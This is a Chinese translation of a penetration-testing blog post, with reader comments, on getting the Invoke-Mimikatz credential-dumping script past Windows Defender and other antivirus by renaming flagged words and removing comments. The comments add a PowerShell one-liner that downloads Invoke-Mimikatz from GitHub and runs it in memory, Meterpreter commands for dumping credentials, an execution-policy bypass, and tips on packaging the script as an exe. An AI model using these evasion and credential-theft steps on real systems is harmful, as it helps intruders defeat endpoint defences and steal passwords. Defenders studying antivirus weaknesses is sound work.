如何绕过杀毒软件运行Mimikatz
Carrie Roberts // *
您是否希望运行Mimikatz而不被杀毒软件(AV)检测到?最近,我尝试在机器上运行PowerSploit中的PowerShell脚本“Invoke-Mimikatz”,但在将文件保存到磁盘时,被Windows Defender标记为恶意文件。即使我使用以下命令不将文件写入磁盘运行,它仍然被捕获。
|
|
Windows Defender检测未修改的Mimikatz脚本
将Invoke-Mimikatz.ps1文件上传到VirusTotal显示,54个AV供应商中有19个当前检测此文件为恶意文件。
虽然上传到VirusTotal不是确定恶意文件是否会被检测的结论性方法,但它可以提示哪些AV可能触发。
如您所知,AV检测方案可能很弱,只是简单查找文件中的特定单词。通常,这些单词可以在不改变功能的情况下更改。例如,使用以下Linux命令将“Invoke-Mimikatz”更改为“Invoke-Mimidogz”,将检测率降低到54个中的8个。
|
|
从脚本中删除不必要的注释如何?
|
|
在将“Katz”重命名为“Dogz”并删除注释后,我们降至四(4)个AV供应商检测恶意文件。进一步的实验显示,AV不喜欢单词“DumpCreds”,让我们将其更改为“DumpCred”。
|
|
我们可能可以在这里停止,并从这个脚本中获得很多好处,但正如我女儿在阅读洗手液免责声明后会说,“为什么他们不多放一点,杀死它们全部!?”
所以让我们这样做。只需添加三个更多的匹配和替换规则,然后“赢家,赢家,鸡肉晚餐!”完整的匹配和替换命令列表如下。
|
|
匹配和替换规则后无AV检测
我们拿这个修改后的Mimikatz文件,在运行最新版本Windows Defender、Symantec和ESET的系统上运行。(感谢Brian Fehrman和David Fletcher)。我们能够运行脚本来转储内存中的明文密码,并且没有被AV检测到。
修改后的Mimikatz脚本仍然功能正常
我们成功修改了Mimikatz脚本,以避免AV检测,而不改变功能。这是为什么不应仅依赖AV进行保护的很好证据。
*此帖子是更大的“Sacred Cash Cow Tipping”系列的一部分,关于绕过AV,特别是我们最近的剧集,可以在这里找到。
您可以从Carrie的课程中学到更多! 在这里查看它们: 攻击模拟工具:Atomic Red Team、CALDERA等 PowerShell for InfoSec 可用现场/虚拟和点播!
评论
Jerry (2017年1月5日 @ 11:21 am) 是否可能对Empire框架内的Mimikatz模块做类似的事情?
Carrie Roberts (2017年1月5日 @ 7:15 pm) 嗨Jerry,是的,可以,或者,因为Empire允许您运行任何PowerShell,您可以使用“scriptimport ./path/”命令导入修改后的Mimikatz脚本,然后使用“scriptcmd”命令调用您的Invoke-Mimikatz版本。参见Empire手册此页底部段落http://www.powershellempire.com/?page_id=110和这里的一些使用示例:https://warroom.securestate.com/leveraging-ms16-032-powershell-empire/
Manu (2017年1月6日 @ 9:12 am) 最后两个杀毒软件是什么?
Carrie Roberts (2017年1月6日 @ 10:16 am) ESET-NOD32和Rising
Jonathan (2017年1月20日 @ 11:49 am) 很棒的帖子,Carrie。快速问题:您的测试机器上的PowerShell执行策略设置是什么?
Carrie Roberts (2017年1月23日 @ 8:21 am) 我的执行策略是“Restricted”,但我使用了“powershell -exec bypass”命令来允许运行Mimikatz脚本。这将当前会话的执行策略设置为“Bypass”,并允许运行脚本。
Phil Ivey (2017年3月14日 @ 10:03 am) 为什么您不直接使用反射DLL注入从内存运行mimikatz?没有必要做任何这些。
Carrie Roberts (2017年3月14日 @ 11:01 am) 嗨Phil,有点令人惊讶的是,那个解决方案本身对Windows Defender不起作用。试试看…
Phil Ivey (2017年3月14日 @ 12:51 pm) 它肯定有效——我经常这样做。Metasploit和Empire都开箱即用。
- 获取会话
- msf> sessions -i 1
- meterpreter> getsystem
- meterpreter> load kiwi
- meterpreter> creds_all 在Empire中的方法类似,不记得命令了。
Carrie Roberts (2017年3月14日 @ 6:29 pm) 我指的是这个:powershell “IEX (New-Object Net.WebClient).DownloadString (‘https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz",因为我正在寻找一个不需要Meterpreter或Empire会话的解决方案,这通常是一个额外的障碍。
Phil Ivey (2017年3月14日 @ 6:51 pm) 各有所好我想…手动混淆PowerShell代码似乎比只是捕获会话并使用DLL注入更大的障碍。如果您可以从GitHub获取文件,您也可以建立Meterpreter/Empire会话。
Quentin (2017年3月27日 @ 5:21 am) 嗨, 是否可能使用这个修改后的PowerShell脚本并将其转换为exe文件?如果是,您能告诉我您将如何处理吗? 谢谢。
Carrie Roberts (2017年3月27日 @ 8:55 am) 嗨Quentin, 试试这个将PowerShell转换为可执行文件: https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1
Miguel (2017年4月11日 @ 8:16 pm) 嗨Carrie,这个过程现在过时了吗?在我执行匹配和替换命令后,我的检测率是14/56。谢谢
Carrie Roberts (2017年4月12日 @ 10:06 am) 嗨Miguel,是的。AV供应商在此帖子发布后进行了额外更改,因此它不像指定那样工作。尽管,我再次实验发现,许多AV供应商仍然查找文件中的静态单词,只是与我发布的不同。可能需要一些试验和错误来找出需要更改的内容。
Tony G (2017年7月25日 @ 2:11 pm) 为什么使用IEX?下面的脚本直接进入内存而不调用Internet Explorer(这可能是Defender捕获它的方式)。这可以无事件地通过McAfee:
|
|
Jeff (2017年7月31日 @ 11:01 am) 我无法让上面使用的PowerShell工作 :( 如果我简单复制粘贴,我得到 string : The term ‘string’ is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:23
- string DownloadString(string address), string DownloadString(uri addr …
-
~~~~~~- CategoryInfo : ObjectNotFound: (string:String) [], CommandNotFoundException
- FullyQualifiedErrorId : CommandNotFoundException 手动输入它仍然无法执行,并且它在一个没有任何AV的盒子上。我错过了什么 :)
Wombat Hunter (2017年7月31日 @ 1:11 pm) 您复制粘贴了哪个具体部分?听起来您要么复制粘贴错误,要么您的PowerShell环境有问题。
Jeff (2017年8月1日 @ 12:27 pm) 是一个有问题的PowerShell。花了大约2小时与之斗争,直到我决定构建一个新盒子,然后它工作了。真是哇…